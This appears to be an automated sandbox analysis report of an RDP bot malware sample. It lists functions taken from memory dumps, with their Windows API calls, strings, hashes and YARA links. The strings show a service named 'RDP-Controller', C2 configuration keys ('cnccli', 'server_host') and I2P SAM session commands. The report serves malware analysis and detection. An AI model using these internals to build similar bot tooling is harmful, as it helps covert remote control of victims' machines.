Function 00007FF8BFB8961B Relevance: 21.2, APIs: 4, Strings: 10, Instructions: 181stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8BFB896AE

Part of subcall function 00007FF8BFB88C26: strcmp.MSVCRT ref: 00007FF8BFB88C6E

strlen.MSVCRT ref: 00007FF8BFB897D4
strcpy.MSVCRT ref: 00007FF8BFB897FB
strcpy.MSVCRT ref: 00007FF8BFB8989A

Strings

VALUE, xrefs: 00007FF8BFB89863
TRANSIENT, xrefs: 00007FF8BFB8979E
SESSION CREATE STYLE=STREAM ID=%s DESTINATION=%s SIGNATURE_TYPE=%s %s %s, xrefs: 00007FF8BFB89722
STATUS, xrefs: 00007FF8BFB8975D
DESTINATION, xrefs: 00007FF8BFB897B6
NAMING, xrefs: 00007FF8BFB89846
NAMING LOOKUP NAME=ME, xrefs: 00007FF8BFB8980B
REPLY, xrefs: 00007FF8BFB8983F
SESSION, xrefs: 00007FF8BFB89764
RESULT, xrefs: 00007FF8BFB89756, 00007FF8BFB89838

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strcpystrlen$strcmp
String ID: DESTINATION$NAMING$NAMING LOOKUP NAME=ME$REPLY$RESULT$SESSION$SESSION CREATE STYLE=STREAM ID=%s DESTINATION=%s SIGNATURE_TYPE=%s %s %s$STATUS$TRANSIENT$VALUE
API String ID: 245486318-5999096
Opcode ID: eeba7b2acda8fb7677d32ffbf99bdfd9e78382d2291282e41cfa6244142f3c80
Instruction ID: 51aa0585b63ad4a6c75e5a66557c7ea8c7fec59a2a4e2cd04572310cd8933f95
Opcode Fuzzy Hash: eeba7b2acda8fb7677d32ffbf99bdfd9e78382d2291282e41cfa6244142f3c80
Instruction Fuzzy Hash: AA713825E0DA4792EE249BADA9103B92390AF85BF4F684331DE6D577D6DF2CA901C340

Function 00007FF6BE038A03 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 118registryCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerA.ADVAPI32 ref: 00007FF6BE038A80
GetLastError.KERNEL32 ref: 00007FF6BE038AB3

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

~, xrefs: 00007FF6BE038B37
[I] (%s) -> %s, xrefs: 00007FF6BE038BB4, 00007FF6BE038BE4
, xrefs: 00007FF6BE038AD1
Service stopping, xrefs: 00007FF6BE038BD6
[E] (%s) -> RegisterServiceCtrlHandler failed(GetLastError=%lu), xrefs: 00007FF6BE038AC5
svc_main, xrefs: 00007FF6BE038ABE, 00007FF6BE038BAD, 00007FF6BE038BDD
P, xrefs: 00007FF6BE038B40
RDP-Controller, xrefs: 00007FF6BE038A79
Service running, xrefs: 00007FF6BE038BA6

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: CtrlErrorHandlerLastRegisterServicefflushfwrite
String ID: $P$RDP-Controller$Service running$Service stopping$[E] (%s) -> RegisterServiceCtrlHandler failed(GetLastError=%lu)$[I] (%s) -> %s$svc_main$~
API String ID: 3562457520-1478336053
Opcode ID: 7523986f2e4a8506a5b5db29a01fe4c528107e2010c565d689efa6122ba216ed
Instruction ID: 2ccb8d536ea71506a83d6c837ed6fd11ee8705a222be6d0e24cd993385c0eaa0
Opcode Fuzzy Hash: 7523986f2e4a8506a5b5db29a01fe4c528107e2010c565d689efa6122ba216ed
Instruction Fuzzy Hash: FB511750E0CA0382FB70675C94D4BB912A09F7C745F2050B7F70EC62D2DE6DB9A68362

Function 00007FF8BFB890CA Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8BFB89111
HeapReAlloc.KERNEL32 ref: 00007FF8BFB89125
strlen.MSVCRT ref: 00007FF8BFB89177
GetProcessHeap.KERNEL32 ref: 00007FF8BFB8919A
HeapFree.KERNEL32 ref: 00007FF8BFB891AB
GetProcessHeap.KERNEL32 ref: 00007FF8BFB891BF
HeapAlloc.KERNEL32 ref: 00007FF8BFB891D0

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

GetProcessHeap.KERNEL32 ref: 00007FF8BFB89212
HeapFree.KERNEL32 ref: 00007FF8BFB89223

Strings

[D] (%s) -> %s, xrefs: 00007FF8BFB89168
sam3_send_req, xrefs: 00007FF8BFB89161
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB891E9, 00007FF8BFB89201
mem_alloc, xrefs: 00007FF8BFB891E2
mem_realloc, xrefs: 00007FF8BFB891FA

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Heap$Process$AllocFree$fflushfwritestrlen
String ID: [D] (%s) -> %s$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$mem_realloc$sam3_send_req
API String ID: 1135201459-1870638116
Opcode ID: 227849ff22b57d487b6f2f8b521884c8c6484f6d2e9304749063794b68413051
Instruction ID: bb23f7ffd16834d1c0bdfac5e91b45da8c9275663be49b7cdab2347660a30c74
Opcode Fuzzy Hash: 227849ff22b57d487b6f2f8b521884c8c6484f6d2e9304749063794b68413051
Instruction Fuzzy Hash: A7316661A0E64691FE50AFDDEC446F56390AF89FC4F988035EF4E46796EE2CEA04C740

Function 00007FF8B915D110 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 105memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF8B915D1AE
GetProcessHeap.KERNEL32 ref: 00007FF8B915D1E1
HeapAlloc.KERNEL32 ref: 00007FF8B915D1F2
strcpy.MSVCRT ref: 00007FF8B915D24B
GetProcessHeap.KERNEL32 ref: 00007FF8B915D261
HeapFree.KERNEL32 ref: 00007FF8B915D272

Strings

-LTCSES-, xrefs: 00007FF8B915D210
-LTCMAS-, xrefs: 00007FF8B915D202
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B915D287
mem_alloc, xrefs: 00007FF8B915D280
XESS, xrefs: 00007FF8B915D21E
on_tick_expiry, xrefs: 00007FF8B915D1CB
[D] (%s) -> Logoff(name=%s,s_sid=%s,acct_expires=%x,ts_now=%llx), xrefs: 00007FF8B915D1D2

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$Process$AllocFreestrcpystrlen
String ID: -LTCMAS-$-LTCSES-$XESS$[D] (%s) -> Logoff(name=%s,s_sid=%s,acct_expires=%x,ts_now=%llx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$on_tick_expiry
API String ID: 925994320-1558387473
Opcode ID: b18a5dea767c13263bad1b16b639a38f1e88cabe660c5e6b695c51396f16af22
Instruction ID: e9d8b64337003f6161a576e53ae7d1ca0d2ee0460542316f32a0f7c578c08e4b
Opcode Fuzzy Hash: b18a5dea767c13263bad1b16b639a38f1e88cabe660c5e6b695c51396f16af22
Instruction Fuzzy Hash: E541ADA1A09BC686FA41AF1DD89037926A4BF84BC4F564034EF1E47396EE3CF841E310

Function 00007FF6BE0344F5 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE034520
strlen.MSVCRT ref: 00007FF6BE034549
strlen.MSVCRT ref: 00007FF6BE034555
strlen.MSVCRT ref: 00007FF6BE03456B

Strings

((*path_sz) > 0), xrefs: 00007FF6BE034605
NULL, xrefs: 00007FF6BE03467F
fs_path_temp, xrefs: 00007FF6BE034579, 00007FF6BE0345AC, 00007FF6BE0345DC, 00007FF6BE03460C, 00007FF6BE034646
[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF6BE034580
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF6BE03464D
(path != NULL), xrefs: 00007FF6BE0345A5
(path_sz != NULL), xrefs: 00007FF6BE0345D5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0345B3, 00007FF6BE0345E3, 00007FF6BE034613
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE03459E, 00007FF6BE0345CE, 00007FF6BE0345FE

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$H:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3852240402
Opcode ID: 46a9fd6f5dbb93ca6dc34309958f871f51596f7697ab3bf8847f5162564302a0
Instruction ID: 9f70f0dca0338b189636b87f8e8308addc76dbd6f00428db645b7cb1d19ab4fd
Opcode Fuzzy Hash: 46a9fd6f5dbb93ca6dc34309958f871f51596f7697ab3bf8847f5162564302a0
Instruction Fuzzy Hash: 954142A1D08A4791FA219F1CE911BB92271FF78748F544132F75E8B296DF3CE9268341

Function 00007FF8BFB319D9 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 126networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00007FF8BFB31A84
accept.WS2_32 ref: 00007FF8BFB31AAB
htonl.WS2_32 ref: 00007FF8BFB31ADB
htons.WS2_32 ref: 00007FF8BFB31AEC

Part of subcall function 00007FF8BFB313F9: ioctlsocket.WS2_32 ref: 00007FF8BFB3141F

WSAGetLastError.WS2_32 ref: 00007FF8BFB31B9E
WSAGetLastError.WS2_32 ref: 00007FF8BFB31BDA

Strings

tcp_accept, xrefs: 00007FF8BFB31B2E, 00007FF8BFB31B77, 00007FF8BFB31BAA, 00007FF8BFB31BE6
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB31BB1
[W] (%s) -> select timedout(sock=0x%llx), xrefs: 00007FF8BFB31B7E
[E] (%s) -> Failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FF8BFB31BED
[I] (%s) -> Done(sock=0x%llx,client=0x%llx,h=%08x,p=%u), xrefs: 00007FF8BFB31B35

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: ErrorLast$accepthtonlhtonsioctlsocketselect
String ID: [E] (%s) -> Failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,client=0x%llx,h=%08x,p=%u)$[W] (%s) -> select timedout(sock=0x%llx)$tcp_accept
API String ID: 2278979430-4175654481
Opcode ID: 7de4627d2e25d44e7abf5dd777bf623c2155e1eeeef3ea356b014c5982bf9774
Instruction ID: 047dc54615a6e2ae04fe799ecc112b8479d63ef431d7518752a35db5393e8c8c
Opcode Fuzzy Hash: 7de4627d2e25d44e7abf5dd777bf623c2155e1eeeef3ea356b014c5982bf9774
Instruction Fuzzy Hash: 44519A35E8868781EB208FADE9403B96364AB41BF4F145332DB7D076E8EF3DA9058701

Function 00007FF8B915C450 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B915C53C

Strings

main, xrefs: 00007FF8B915C453
version, xrefs: 00007FF8B915C450, 00007FF8B915C454
(name != NULL), xrefs: 00007FF8B915C4C5
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B915C48B, 00007FF8B915C4BE, 00007FF8B915C4F1
ini_get_var, xrefs: 00007FF8B915C499, 00007FF8B915C4CC, 00007FF8B915C4FF, 00007FF8B915C566, 00007FF8B915C5AE
(sec != NULL), xrefs: 00007FF8B915C492
(var != NULL), xrefs: 00007FF8B915C4F8
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8B915C5B5
NULL, xrefs: 00007FF8B915C5CE, 00007FF8B915C5D7
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915C4A0, 00007FF8B915C4D3, 00007FF8B915C506
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8B915C56D

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-2349658452
Opcode ID: 002b80f4f3ddb5d95a8a589fbe732dd8bd41aee7437ac21d3b594941e9e699d2
Instruction ID: 287578aa2a21f6dc6dcee38bb3bcc506b3ec7063b81699f57fea1b51d8e784ba
Opcode Fuzzy Hash: 002b80f4f3ddb5d95a8a589fbe732dd8bd41aee7437ac21d3b594941e9e699d2
Instruction Fuzzy Hash: 214128A1F086C7A6FA128F98E9507F42361AF043C8F554536EB4D46596EF7CFA49E300

Function 00007FF8B9188AE0 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B9188BCC

Strings

[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8B9188C45
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B9188B1B, 00007FF8B9188B4E, 00007FF8B9188B81
(var != NULL), xrefs: 00007FF8B9188B88
ini_get_var, xrefs: 00007FF8B9188B29, 00007FF8B9188B5C, 00007FF8B9188B8F, 00007FF8B9188BF6, 00007FF8B9188C3E
version, xrefs: 00007FF8B9188AE0, 00007FF8B9188AE4
main, xrefs: 00007FF8B9188AE3
NULL, xrefs: 00007FF8B9188C5E, 00007FF8B9188C67
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8B9188BFD
(name != NULL), xrefs: 00007FF8B9188B55
(sec != NULL), xrefs: 00007FF8B9188B22
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9188B30, 00007FF8B9188B63, 00007FF8B9188B96

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-2349658452
Opcode ID: 487e31b225751ea3932902563ad00909ebac7d89d154fe2b6fceb74eda358456
Instruction ID: 9b0912578886116a81987c5c4c44bf5b6750102ee600f4478cc9fca2ba00daaa
Opcode Fuzzy Hash: 487e31b225751ea3932902563ad00909ebac7d89d154fe2b6fceb74eda358456
Instruction Fuzzy Hash: D9414BA2A19AC796FA248F4CE9803F46360BF443C8F554536EB6D46196DF7CEA46F300

Function 00007FF8BFB58590 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB5867C

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB585E0, 00007FF8BFB58613, 00007FF8BFB58646
ini_get_var, xrefs: 00007FF8BFB585D9, 00007FF8BFB5860C, 00007FF8BFB5863F, 00007FF8BFB586A6, 00007FF8BFB586EE
(var != NULL), xrefs: 00007FF8BFB58638
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BFB586AD
version, xrefs: 00007FF8BFB58590, 00007FF8BFB58594
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB585CB, 00007FF8BFB585FE, 00007FF8BFB58631
main, xrefs: 00007FF8BFB58593
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BFB586F5
(sec != NULL), xrefs: 00007FF8BFB585D2
NULL, xrefs: 00007FF8BFB5870E, 00007FF8BFB58717
(name != NULL), xrefs: 00007FF8BFB58605

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-2349658452
Opcode ID: 15574e2c6d2e1fb85edecffd2d2a439210e27da6631c3faf606f44d1bffa9230
Instruction ID: 21cd5ac7ce71f56e562ba2d11933e912f2d0d3376197eff1f41c74a6f014f883
Opcode Fuzzy Hash: 15574e2c6d2e1fb85edecffd2d2a439210e27da6631c3faf606f44d1bffa9230
Instruction Fuzzy Hash: 96413861A09687A6FB108BC8E924BF8B361BF047C8F845532EB4D06595DF7CFA66C700

Function 00007FF8BFB8C550 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB8C63C

Strings

NULL, xrefs: 00007FF8BFB8C6CE, 00007FF8BFB8C6D7
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8BFB8C66D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C5A0, 00007FF8BFB8C5D3, 00007FF8BFB8C606
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8BFB8C6B5
(var != NULL), xrefs: 00007FF8BFB8C5F8
(sec != NULL), xrefs: 00007FF8BFB8C592
(name != NULL), xrefs: 00007FF8BFB8C5C5
server_host, xrefs: 00007FF8BFB8C550, 00007FF8BFB8C554
cnccli, xrefs: 00007FF8BFB8C553
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C58B, 00007FF8BFB8C5BE, 00007FF8BFB8C5F1
ini_get_var, xrefs: 00007FF8BFB8C599, 00007FF8BFB8C5CC, 00007FF8BFB8C5FF, 00007FF8BFB8C666, 00007FF8BFB8C6AE

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$cnccli$ini_get_var$server_host
API String ID: 1004003707-2347851921
Opcode ID: cf1616aad114c9908ff762f9604715a07226b35ad3038edca240e245e72a8459
Instruction ID: f07e5cbd02b9b3525c4274db3b98549f494a0c24a44b145ed91f2e8310ea8dab
Opcode Fuzzy Hash: cf1616aad114c9908ff762f9604715a07226b35ad3038edca240e245e72a8459
Instruction Fuzzy Hash: 814136E1A09647A1FA519F98ED007F46360FB843D8F889432EB4D475A6DF3CE949C304

Function 00007FF8B915C2C9 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B915C3BD

Strings

main, xrefs: 00007FF8B915C2CC
version, xrefs: 00007FF8B915C2C9, 00007FF8B915C2CD
(name != NULL), xrefs: 00007FF8B915C33E
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B915C304, 00007FF8B915C337, 00007FF8B915C36A
[D] (%s) -> Done(name=%s), xrefs: 00007FF8B915C3DD
(sec != NULL), xrefs: 00007FF8B915C371
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8B915C41B
NULL, xrefs: 00007FF8B915C434
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915C319, 00007FF8B915C34C, 00007FF8B915C37F
ini_get_sec, xrefs: 00007FF8B915C312, 00007FF8B915C345, 00007FF8B915C378, 00007FF8B915C3D6, 00007FF8B915C414
(ini != NULL), xrefs: 00007FF8B915C30B

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec$main$version
API String ID: 1004003707-693788558
Opcode ID: f3b89cb6aefd98be79687eaabfb69af6a5614a3a306acbc797dd2fc7ffb4115a
Instruction ID: fb7dab05c66821b3b72e5ff386bbbd29d16671e27b3e38712a75eed6b50636a7
